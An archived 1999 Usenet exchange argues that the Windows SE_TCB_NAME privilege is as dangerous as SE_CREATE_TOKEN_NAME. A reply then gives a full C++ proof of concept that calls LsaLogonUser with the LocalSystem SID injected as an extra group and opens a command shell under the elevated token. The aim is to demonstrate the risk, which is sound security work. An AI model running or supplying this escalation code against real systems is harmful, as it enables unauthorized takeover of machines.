From: Slava M. Usov Subject: Re: Security implications of SE_TCB_NAME Date: Thursday, November 18, 1999 6:27 AM Stefan Gustafsson wrote in message news:#0qg2rcM$GA.203@cppssbbsa04... > So, if I have understood this correctly: > > To create a token directly without any further auhorization, you need > SE_CREATE_TOKEN_NAME (to call NtCreateToken()). > > SE_TCB_NAME only gives you permission to call LogonUser() or LsaLogonUser(), > which will validate your login attempt using an auth package. > > If this is correct, then it seems that SE_CREATE_TOKEN_NAME is the really > dangerous privilege, while SE_TCB_NAME is not too bad. As far as I > understand, SE_TCB_NAME can only be used to guess passwords using > brute-force search. No, this is not correct. Say a user (non-admin) has the SE_TCB_NAME. The user KNOWS HIS OWN USERNAME AND PASSWORD. The user calls LsaRegisterLogonProcess() [which is successful, because the user is privileged enough], then the user calls LsaLogonUser() with supplying ANY VALID USERNAME AND PASSWORD [his own, for instance] and specifying the Administrators group to be included into the token. The user now has a token that permits the user administrative access to the system. In short, both privileges are EQUALLY dangerous, although SE_CREATE_TOKEN_NAME is a bit more straight-forward, while SE_TCB_NAME requires more elaborate programming to take over the security completely. The ultimate result will be the same, nevertheless. BTW, LsaLogonUser() is documented, while NtCreateToken() is not, so it may be more suitable for a quick dirty hack. > By the way, it seems from the sourcecode to the article that the program > enabled SE_CREATE_TOKEN_NAME using AdjustTokenPrivileges(). That must mean > that you have to be admin from the beginning to run that program, am I not > right? AFAIK, even Administrators DO NOT have TCB nor CREATE_TOKEN privileges by default, so they have to be granted; but since Administrators can do it any time, it's a moot argument, so you're right: the code can be run by 1. Administrators 2. Users who have SE_CREATE_TOKEN_NAME [about the same applies to LsaLogonUser()] Just to demonstrate that this is indeed possible, the following short program implements Slava's idea. Gary #include #include #include #include "ntsecapi.h" extern "C" NTSYSAPI VOID NTAPI RtlInitString( PLSA_STRING DestinationString, PCSTR SourceString ); extern "C" NTSYSAPI VOID NTAPI RtlInitUnicodeString( PLSA_UNICODE_STRING DestinationString, PCWSTR SourceString ); BOOL EnablePrivilege(PCSTR name) { TOKEN_PRIVILEGES priv = {1, {0, 0, SE_PRIVILEGE_ENABLED}}; LookupPrivilegeValue(0, name, &priv.Privileges[0].Luid); HANDLE hToken; OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken); AdjustTokenPrivileges(hToken, FALSE, &priv, sizeof priv, 0, 0); BOOL rv = GetLastError() == ERROR_SUCCESS; CloseHandle(hToken); return rv; } extern "C" int wmain(int argc, wchar_t *argv[]) { if (argc < 4) return -1; EnablePrivilege(SE_TCB_NAME); LSA_STRING ProcessName; RtlInitString(&ProcessName, "Gary"); HANDLE LsaHandle; LSA_OPERATIONAL_MODE Mode; LsaRegisterLogonProcess(&ProcessName, &LsaHandle, &Mode); LSA_STRING PackageName; RtlInitString(&PackageName, MSV1_0_PACKAGE_NAME); ULONG Package; LsaLookupAuthenticationPackage(LsaHandle, &PackageName, &Package); PMSV1_0_INTERACTIVE_PROFILE Profile; ULONG ProfileLength; LUID LogonId; HANDLE Token; QUOTA_LIMITS QuotaLimits; NTSTATUS Status; TOKEN_SOURCE Source = {{'*','*','A','N','O','N','*','*'}}; AllocateLocallyUniqueId(&Source.SourceIdentifier); TOKEN_GROUPS Groups = {1, {0, 0}}; SID_IDENTIFIER_AUTHORITY nt = SECURITY_NT_AUTHORITY; AllocateAndInitializeSid(&nt, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &Groups.Groups->Sid); struct { MSV1_0_INTERACTIVE_LOGON Header; WCHAR Domain[DNLEN + 1]; WCHAR User[UNLEN + 1]; WCHAR Password[UNLEN + 1]; } AuthInfo = {MsV1_0InteractiveLogon}; wcscpy(AuthInfo.Domain, argv[1]); wcscpy(AuthInfo.User, argv[2]); wcscpy(AuthInfo.Password, argv[3]); RtlInitUnicodeString(&AuthInfo.Header.LogonDomainName, AuthInfo.Domain); RtlInitUnicodeString(&AuthInfo.Header.UserName, AuthInfo.User); RtlInitUnicodeString(&AuthInfo.Header.Password, AuthInfo.Password); LsaLogonUser(LsaHandle, &ProcessName, Interactive, Package, &AuthInfo, sizeof AuthInfo, &Groups, &Source, (PVOID*)&Profile, &ProfileLength, &LogonId, &Token, &QuotaLimits, &Status); LsaDeregisterLogonProcess(LsaHandle); LsaFreeReturnBuffer(Profile); PROCESS_INFORMATION pi; STARTUPINFO si = {sizeof si}; CreateProcessAsUser(Token, 0, "cmd", 0, 0, FALSE, CREATE_NEW_CONSOLE | CREATE_NEW_PROCESS_GROUP, 0, 0, &si, &pi); return 0; }